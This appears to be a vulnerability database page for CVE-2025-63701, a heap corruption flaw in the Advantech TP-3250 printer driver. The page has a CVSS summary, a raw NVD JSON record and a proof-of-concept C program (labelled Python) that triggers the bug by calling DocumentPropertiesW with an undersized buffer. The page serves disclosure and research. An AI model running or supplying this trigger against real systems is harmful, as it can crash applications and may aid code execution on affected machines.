Security Vulnerability Report
中文
CVE-2025-63701 CVSS 6.8 MEDIUM

CVE-2025-63701

Published: 2025-11-14 20:15:48
Last Modified: 2026-01-12 15:05:41

Description

A heap corruption vulnerability exists in the Advantech TP-3250 printer driver's DrvUI_x64_ADVANTECH.dll (v0.3.9200.20789) when DocumentPropertiesW() is called with a valid dmDriverExtra value but an undersized output buffer. The driver incorrectly assumes the output buffer size matches the input buffer size, leading to invalid memory operations and heap corruption. This vulnerability can cause denial of service through application crashes and potentially lead to code execution in user space. Local access is required to exploit this vulnerability.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:advantech:tp_3250_firmware:0.3.9200.20789:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:advantech:tp_3250:-:*:*:*:*:*:*:* - NOT VULNERABLE
Advantech TP-3250 Printer Driver DrvUI_x64_ADVANTECH.dll < v0.3.9200.20789

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h> #include <winspool.h> #include <stdio.h> int main() { HANDLE hPrinter = NULL; PRINTER_INFO_2 *pPrinterInfo = NULL; DWORD dwBytesNeeded = 0; LONG lResult = 0; // Open the target printer if (!OpenPrinter("Advantech TP-3250", &hPrinter, NULL)) { printf("[-] Failed to open printer. Error: %d\n", GetLastError()); return 1; } printf("[+] Printer opened successfully\n"); // Get printer info to find driver name GetPrinter(hPrinter, 2, NULL, 0, &dwBytesNeeded); pPrinterInfo = (PRINTER_INFO_2 *)malloc(dwBytesNeeded); if (!GetPrinter(hPrinter, 2, (LPBYTE)pPrinterInfo, dwBytesNeeded, &dwBytesNeeded)) { printf("[-] Failed to get printer info. Error: %d\n", GetLastError()); ClosePrinter(hPrinter); return 1; } printf("[+] Driver Name: %s\n", pPrinterInfo->pDriverName); // Prepare DEVMODE structure with undersized buffer DEVMODE *pDevMode = NULL; DWORD dwDevModeSize = sizeof(DEVMODE); // Undersized buffer pDevMode = (DEVMODE *)malloc(dwDevModeSize); memset(pDevMode, 0, dwDevModeSize); pDevMode->dmSize = sizeof(DEVMODE); pDevMode->dmDriverExtra = 1024; // Valid but larger than buffer printf("[+] Calling DocumentPropertiesW with undersized buffer...\n"); printf("[+] Buffer size: %d bytes, dmDriverExtra: %d bytes\n", dwDevModeSize, pDevMode->dmDriverExtra); // This call should trigger heap corruption lResult = DocumentPropertiesW(NULL, hPrinter, L"Advantech TP-3250", pDevMode, NULL, DM_OUT_BUFFER); if (lResult < 0) { printf("[!] DocumentPropertiesW returned error: %d\n", lResult); } else { printf("[+] DocumentPropertiesW returned: %d\n", lResult); } // Cleanup free(pDevMode); free(pPrinterInfo); ClosePrinter(hPrinter); printf("[+] Test completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63701", "sourceIdentifier": "[email protected]", "published": "2025-11-14T20:15:47.717", "lastModified": "2026-01-12T15:05:40.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap corruption vulnerability exists in the Advantech TP-3250 printer driver's DrvUI_x64_ADVANTECH.dll (v0.3.9200.20789) when DocumentPropertiesW() is called with a valid dmDriverExtra value but an undersized output buffer. The driver incorrectly assumes the output buffer size matches the input buffer size, leading to invalid memory operations and heap corruption. This vulnerability can cause denial of service through application crashes and potentially lead to code execution in user space. Local access is required to exploit this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:advantech:tp_3250_firmware:0.3.9200.20789:*:*:*:*:*:*:*", "matchCriteriaId": "1D4139D9-0273-4AAD-A4F1-05E2085C5632"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:advantech:tp_3250:-:*:*:*:*:*:*:*", "matchCriteriaId": "B85D991C-1737-4025-9AE5-B86F8E82E4C7"}]}]}], "references": [{"url": "https://neurowinter.com/security/2025/10/08/Heap-Corruption-in-Advantech-TP-3250-Printer-Driver/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}